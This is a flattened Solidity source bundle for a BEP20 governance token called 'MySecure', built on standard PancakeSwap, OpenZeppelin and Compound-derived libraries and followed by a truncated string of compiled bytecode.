pragma solidity 0.6.12; import "@pancakeswap/pancake-swap-lib/contracts/token/BEP20/BEP20.sol"; // MySecure with Governance. contract MySecure is BEP20('MySecure', 'MYSEC') { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MYSEC::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MYSEC::delegateBySig: invalid nonce"); require(now <= expiry, "MYSEC::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "MYSEC::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SILVERs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "MYSEC::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; import '../../access/Ownable.sol'; import '../../GSN/Context.sol'; import './IBEP20.sol'; import '../../math/SafeMath.sol'; import '../../utils/Address.sol'; /** * @dev Implementation of the {IBEP20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {BEP20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the bep token owner. */ function getOwner() external override view returns (address) { return owner(); } /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero') ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance') ); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; import '../GSN/Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063782d6fe1116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461055c578063e7a324dc1461058a578063f1127ed814610592578063f2fde38b146105e4576101a9565b8063a9059cbb146104c3578063b4b5ea57146104ef578063c3cda52014610515576101a9565b80638da5cb5b116100d35780638da5cb5b1461046a57806395d89b4114610472578063a0712d681461047a578063a457c2d714610497576101a9565b8063782d6fe1146104105780637ecebe001461043c578063893d20e814610462576101a9565b806339509351116101665780635c19a95c116101405780635c19a95c1461037d5780636fcfff45146103a357806370a08231146103e2578063715018a614610408576101a9565b806339509351146102e157806340c10f191461030d578063587cde1e1461033b576101a9565b806306fdde03146101ae578063095ea7b31461022b57806318160ddd1461026b57806320606b701461028557806323b872dd1461028d578063313ce567146102c3575b600080fd5b6101b661060a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b0381351690602001356106a0565b604080519115158252519081900360200190f35b6102736106be565b60408051918252519081900360200190f35b6102736106c4565b610257600480360360608110156102a357600080fd5b506001600160a01b038135811691602081013590911690604001356106e8565b6102cb61076f565b6040805160ff9092168252519081900360200190f35b610257600480360360408110156102f757600080fd5b506001600160a01b038135169060200135610778565b6103396004803603604081101561032357600080fd5b506001600160a01b0381351690602001356107c6565b005b6103616004803603602081101561035157600080fd5b50356001600160a01b0316610851565b604080516001600160a01b039092168252519081900360200190f35b6103396004803603602081101561039357600080fd5b50356001600160a01b031661086f565b6103c9600480360360208110156103b957600080fd5b50356001600160a01b031661087c565b6040805163ffffffff9092168252519081900360200190f35b610273600480360360208110156103f857600080fd5b50356001600160a01b0316610894565b6103396108af565b6102736004803603604081101561042657600080fd5b506001600160a01b038135169060200135610951565b6102736004803603602081101561045257600080fd5b50356001600160a01b0316610b59565b610361610b6b565b610361610b7a565b6101b6610b89565b6102576004803603602081101561049057600080fd5b5035610bea565b610257600480360360408110156104ad57600080fd5b506001600160a01b038135169060200135610c5d565b610257600480360360408110156104d957600080fd5b506001600160a01b038135169060200135610cc5565b6102736004803603602081101561050557600080fd5b50356001600160a01b0316610cd9565b610339600480360360c081101561052b57600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610d3d565b6102736004803603604081101561057257600080fd5b506001600160a01b0381358116916020013516610fb0565b610273610fdb565b6105c4600480360360408110156105a857600080fd5b5080356001600160a01b0316906020013563ffffffff16610fff565b6040805163ffffffff909316835260208301919091528051918290030190f35b610339600480360360208110156105fa57600080fd5b50356001600160a01b031661102c565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106965780601f1061066b57610100808354040283529160200191610696565b820191906000526020600020905b81548152906001019060200180831161067957829003601f168201915b5050505050905090565b60006106b46106ad61108d565b8484611091565b5060015b92915050565b60035490565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006106f584848461117d565b6107658461070161108d565b610760856040518060600160405280602881526020016119d4602891396001600160a01b038a1660009081526002602052604081209061073f61108d565b6001600160a01b0316815260208101919091526040016000205491906112cf565b611091565b5060019392505050565b60065460ff1690565b60006106b461078561108d565b84610760856002600061079661108d565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611366565b6107ce61108d565b6000546001600160a01b0390811691161461081e576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4b833981519152604482015290519081900360640190fd5b61082882826113c0565b6001600160a01b0380831660009081526007602052604081205461084d9216836114a6565b5050565b6001600160a01b039081166000908152600760205260409020541690565b61087933826115e8565b50565b60096020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526001602052604090205490565b6108b761108d565b6000546001600160a01b03908116911614610907576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4b833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60004382106109915760405162461bcd60e51b8152600401808060200182810382526028815260200180611a236028913960400191505060405180910390fd5b6001600160a01b03831660009081526009602052604090205463ffffffff16806109bf5760009150506106b8565b6001600160a01b038416600090815260086020908152604080832063ffffffff600019860181168552925290912054168310610a2e576001600160a01b03841660009081526008602090815260408083206000199490940163ffffffff168352929052206001015490506106b8565b6001600160a01b038416600090815260086020908152604080832083805290915290205463ffffffff16831015610a695760009150506106b8565b600060001982015b8163ffffffff168163ffffffff161115610b2257600282820363ffffffff16048103610a9b611926565b506001600160a01b038716600090815260086020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610afd576020015194506106b89350505050565b805163ffffffff16871115610b1457819350610b1b565b6001820392505b5050610a71565b506001600160a01b038516600090815260086020908152604080832063ffffffff9094168352929052206001015491505092915050565b600a6020526000908152604090205481565b6000610b75610b7a565b905090565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106965780601f1061066b57610100808354040283529160200191610696565b6000610bf461108d565b6000546001600160a01b03908116911614610c44576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4b833981519152604482015290519081900360640190fd5b610c55610c4f61108d565b836113c0565b506001919050565b60006106b4610c6a61108d565b8461076085604051806060016040528060258152602001611ae96025913960026000610c9461108d565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906112cf565b60006106b4610cd261108d565b848461117d565b6001600160a01b03811660009081526009602052604081205463ffffffff1680610d04576000610d36565b6001600160a01b038316600090815260086020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610d6861060a565b80519060200120610d7761167d565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519